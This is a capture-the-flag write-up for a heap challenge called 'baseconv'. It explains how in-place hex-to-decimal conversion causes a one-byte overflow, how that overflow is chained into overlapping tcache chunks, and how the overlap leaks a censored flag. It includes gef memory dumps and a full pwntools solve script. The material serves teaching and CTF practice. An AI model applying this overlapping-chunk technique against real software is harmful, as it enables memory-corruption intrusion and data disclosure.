Challenge Description
This program is designed to convert numbers between decimal and hexadecimal.
The user is allowed to take any of the following actions, repeatedly in a loop:
- Load a number into memory
- Delete a number from memory
- Show all numbers in memory
- Convert a number’s base
- Verify the flag file
When numbers are loaded in memory, they are stored as strings in a structure that looks like…
struct num {
long int base; // 64-bit integer, will be either 10 or 16
char num[0]; // struct hack, length will be decided at allocation time
};
Each of these number structures is allocated on the heap using malloc(), with a size of (8 + strlen(input) + 1). I.e. 8 for the base and strlen(input) + 1 for the number string and null terminator.
When numbers are converted between bases though, conversion happens in place, without changing the chunk size. This is the bug. Some numbers may be longer when represented in decimal than in hexadecimal, leading to a small, limited heap overflow. For instance, the number FFFF in hexadecimal is 65535 in decimal, which is one character longer. Since these numbers are stored as character arrays, that trailing character risks being written out of bounds.
Exploiting this is challenging due to the limited nature of the overflow. Namely…
- We will only be able to overflow the buffer by a byte or two.
- We will only be able to overflow with the characters
0-9(i.e.0x30-0x39).
Exploitation is still possible under these constraints using the “overlapping chunks” technique though. If we can get a hexadecimal number allocated immediately adjacent to another heap chunk and then convert it to decimal, will overwrite the size metadata of that adjacent chunk. By artificially increasing the chunk size and then freeing that chunk, we can cause it to be incorrectly binned, leading to overlapping chunks on subsequent allocations.
Since chunks must be aligned on 0x10 bytes and our overflow only allows writing the bytes 0x30-0x39, the only way we can cause overlapping chunks is to increase a chunk from 0x20 to 0x30 bytes. However once we have created this small overlap of 0x10 bytes, we can write a hexadecimal string in that chunk using the characters [0-9A-Fa-f] (i.e. 0x30-0x39, 0x41-0x46, and 0x61-0x66) to overwrite the size of a third adjacent chunk with a much larger value, causing an even larger overlap.
The “Verify flag” operation appears to verify that the flag exists and is readable, however in doing so it reads the value of the flag file into heap memory. This value is censored and never meant to be readable to the user, but by causing that allocation to overlap with our numbers in memory we can use the “Show all numbers” operation in order to leak it anyway.
Our exploitation method then is…
- Allocate five chunks of size 0x20. Create them as hexadecimal numbers, holding
"02386F26FC10001"(length 15). This will result in amalloc(8 + 15 + 1)(i.e. 24), meaning that each hex string will sit immediately adjacent to the next chunk’ssizevalue in memory.
gef➤ x/24gx 0x643317b87290
0x643317b87290: 0x0000000000000000 0x0000000000000021
0x643317b872a0: 0x0000000000000010 0x3632463638333230
0x643317b872b0: 0x0031303030314346 0x0000000000000021
0x643317b872c0: 0x0000000000000010 0x3632463638333230
0x643317b872d0: 0x0031303030314346 0x0000000000000021
0x643317b872e0: 0x0000000000000010 0x3632463638333230
0x643317b872f0: 0x0031303030314346 0x0000000000000021
0x643317b87300: 0x0000000000000010 0x3632463638333230
0x643317b87310: 0x0031303030314346 0x0000000000000021
0x643317b87320: 0x0000000000000010 0x3632463638333230
0x643317b87330: 0x0031303030314346 0x0000000000020cd1
0x643317b87340: 0x0000000000000000 0x0000000000000000
- Next, we convert the first number from hexadecimal to decimal. Note that
0x02386F26FC10001 == 10000000000000001, however"10000000000000001"has length 16 leading to a one byte overflow. That overflow corrupts thesizeof the second chunk, changing itssizevalue from0x21to0x31('1').
gef➤ x/24gx 0x643317b87290
0x643317b87290: 0x0000000000000000 0x0000000000000021
0x643317b872a0: 0x000000000000000a 0x3030303030303031
0x643317b872b0: 0x3030303030303030 0x0000000000000031 <-- oops!
0x643317b872c0: 0x0000000000000010 0x3632463638333230
0x643317b872d0: 0x0031303030314346 0x0000000000000021
0x643317b872e0: 0x0000000000000010 0x3632463638333230
0x643317b872f0: 0x0031303030314346 0x0000000000000021
0x643317b87300: 0x0000000000000010 0x3632463638333230
0x643317b87310: 0x0031303030314346 0x0000000000000021
0x643317b87320: 0x0000000000000010 0x3632463638333230
0x643317b87330: 0x0031303030314346 0x0000000000020cd1
0x643317b87340: 0x0000000000000000 0x0000000000000000
- Next, we free that second chunk. Since its size is set to
0x31it will be binned int-cache[0x30].
gef➤ heap bins
─────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────
Tcachebins[idx=1, size=0x30] count=1 ← Chunk(addr=0x643317b872c0, size=0x30, flags=PREV_INUSE)
- Next, we load a new hexadecimal number
"AAAAAAAAAAAAAAAAa"(length 17). This will be allocated asmalloc(8 + 17 + 1), i.e. 25, meaning that the heap allocator will road up to the next multiple of0x10and use a chunk size of0x30. Since the t-cache contains a chunk of this size, the allocation will be served from that free chunk! However, the 17th bytea(0x61) will actually overwrite thesizemetadata of the third chunk, artificially increasing its size to0x60.
gef➤ x/24gx 0x643317b87290
0x643317b87290: 0x0000000000000000 0x0000000000000021
0x643317b872a0: 0x000000000000000a 0x3030303030303031
0x643317b872b0: 0x3030303030303030 0x0000000000000031
0x643317b872c0: 0x0000000000000010 0x4141414141414141
0x643317b872d0: 0x4141414141414141 0x0000000000000061 <-- oops!
0x643317b872e0: 0x0000000000000010 0x3632463638333230
0x643317b872f0: 0x0031303030314346 0x0000000000000021
0x643317b87300: 0x0000000000000010 0x3632463638333230
0x643317b87310: 0x0031303030314346 0x0000000000000021
0x643317b87320: 0x0000000000000010 0x3632463638333230
0x643317b87330: 0x0031303030314346 0x0000000000020cd1
0x643317b87340: 0x0000000000000000 0x0000000000000000
- Next, we free that third chunk. Since its size has been overwritten with
0x60, it will be binned int-cache[0x60].
gef➤ heap bins
─────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────
Tcachebins[idx=4, size=0x60] count=1 ← Chunk(addr=0x643317b872e0, size=0x60, flags=PREV_INUSE)
- The structure required by the “Verify flag” operation requires 80 (0x50) bytes of memory. This means that when the program calls
malloc(80)to make space, that number will be rounded up to the next multiple of0x10, resulting in an allocation of0x60which will be served from our free chunk! This will cause the flag chunk to overlap our next two chunks in memory!
gef➤ x/24gx 0x643317b87290
0x643317b87290: 0x0000000000000000 0x0000000000000021
0x643317b872a0: 0x000000000000000a 0x3030303030303031
0x643317b872b0: 0x3030303030303030 0x0000000000000031
0x643317b872c0: 0x0000000000000010 0x4141414141414141
0x643317b872d0: 0x4141414141414141 0x0000000000000061 \
0x643317b872e0: 0x0000000643317b87 0x3472fcc1a4ba086b |
0x643317b872f0: 0x0000000000000027 0x00000000000081b4 |
0x643317b87300: 0x0000000000a65a38 0x7b4654436174654d | oops!
0x643317b87310: 0x5f676e6974736574 0x5f6362615f333231 |
0x643317b87320: 0x6473615f66647361 0x007d666473615f66 |
0x643317b87330: 0x0031303030314346 0x00000000000001e1 |
0x643317b87340: 0x0000000643317b87 0x3472fcc1a4ba086b /
- Finally, we use the “Show all numbers” operation to print out the value of the numbers. Since the program still thinks that the fourth and fifth numbers are allocated and valid, it attempts to print them. Since they are stored as strings this is done with a simple
printf("%s", ...);. However the flag file contents has now been written in their place via the overlapping chunk, causing it to be leaked instead!
> S
Slot 000 | Base 10 | Number 10000000000000001
Slot 001 | Base 16 | Number AAAAAAAAAAAAAAAAa
Slot 003 | Base 10902072 | Number MetaCTF{0v3rl4pp1ng_h34p_0f_h3x_h4cks}
Slot 004 | Base 7238236088482165601 | Number x_h4cks}
Solve Script
import sys
from pwn import *
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <local|remote> [host] [port]")
exit(0)
elif sys.argv[1] == "local":
p = process("./baseconv.bin")
elif sys.argv[1] == "remote":
p = remote(sys.argv[2], sys.argv[3])
# create five hex numbers
# all will be size = 0x21
# 0x02386F26FC10001 == 10000000000000001
# i.e. decimal 16 digits followed by a 1
for i in range(0, 5):
p.sendline(b"L")
p.sendline(b"16")
p.sendline(b"02386F26FC10001")
# convert the first number
# changes the second number's size from 0x21 to 0x31
p.sendline(b"C")
p.sendline(b"0")
# delete the second number
# it will be binned as size = 0x30
p.sendline(b"D")
p.sendline(b"1")
# load a new hex number of size = 0x30
# this will be served from the free'd bin
# anything beyond the 16th character will
# overwrite the chunk size of the third number
# send 'a' as the 17th character, thus changing
# the third chunk's size to 0x61
p.sendline(b"L")
p.sendline(b"16")
p.sendline(b"AAAAAAAAAAAAAAAAa")
# delete the third chunk
# it will be binned as size = 0x60
p.sendline(b"D")
p.sendline(b"2")
# verify the flag
# this will allocate a chunk of size 0x60
# that chunk will be served from the previously free'd chunk
# the flag's contents will end up overlapping the fourth chunk
p.sendline(b"V")
# show all chunks
# this will leak the flag in the fourth chunk!
p.sendline(b"S")
# take a look at our work
p.interactive()